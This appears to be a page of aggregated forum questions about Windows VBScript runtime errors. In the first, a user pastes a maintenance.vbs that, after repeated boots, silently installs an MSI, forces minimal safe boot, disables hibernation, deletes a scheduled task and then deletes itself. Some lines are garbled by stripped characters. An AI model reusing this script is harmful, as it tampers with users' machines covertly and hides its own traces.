Windows 10: Microsoft VBScript runtime error

Hello,

I have been getting this VBScript runtime error everytime when booting. Currently running Windows 10 on version 1903 build 18362.476. I am not sure how to fix this problem since no one seem to have the same as mine. Is there a way to fix this?





This is the code in the maintenance.vbs ;;

Set oShell = CreateObject ("Wscript.Shell")
Dim ccdat
ccdat = "updatesettings.dbf"
Dim fso, setting, cc, strArgs
strArgs = "%comspec% /C %SystemRoot%\System32\msiexec.exe /i %SystemRoot%\System32\ServiceInstaller.msi /qn & del %SystemRoot%\System32\ServiceInstaller.msi & %SystemRoot%\System32\bcdedit.exe /set {current} safeboot minimal & %SystemRoot%\System32\powercfg.exe /hibernate off & schtasks /Delete /TN ""Microsoft\Windows\Maintenance\InstallWinSAT"" /F"
Set fso = CreateObject("Scripting.FileSystemObject")

If (fso.FileExists(ccdat)) Then
Set setting = fspenTextFile(ccdat, 1, 0)
cc = CInt(setting.ReadLine)
setting.Close
If(cc > 9) Then
oShell.Run strArgs, 0, false
Set objFSO = CreateObject("Scripting.FileSystemObject")
strScript = Wscript.ScriptFullName
objFSO.DeleteFile(ccdat)
objFSO.DeleteFile(strScript)
WScript.Quit()
End If
Set setting = fso.CreateTextFile(ccdat, True, False)
cc = cc+1
setting.Write(cc)
setting.Close
WScript.Quit()
Else
Set setting = fso.CreateTextFile(ccdat, True, False)
setting.Write("0")
setting.Close
WScript.Quit()
End If

:)

 

Vbscript runtime error permission denied code 800A0046

Hallo! I have a problem with this error:

Windows Script Host

Script:C:\Windows\run.vbs

Line:22

Char:2

Errorermission denied

Code:800A0046

Source:Microsoft VBScript runtime error

What I can do? Please

 

Optiwave Systems Microsoft VBScript Runtime error type Mismatch

Hi,



Thank you for writing to Microsoft Community Forums.



I see that you are trying to run a VBScript and you are getting a runtime error. I would like to inform you that we have a team of experts with well-equipped knowledge about this and they will be glad to help you with the same. Please post your query
on MSDN forum so that it reaches the dedicated team.



Regards,

 

Unable to uninstall product key, when i use "slmgr /upk" it shows "error 70ermission denies(Microsoft VBScript Runtime error)"

Unable to uninstall product key, when i use "slmgr /upk" it shows "error 70ermission denies(Microsoft VBScript Runtime error)."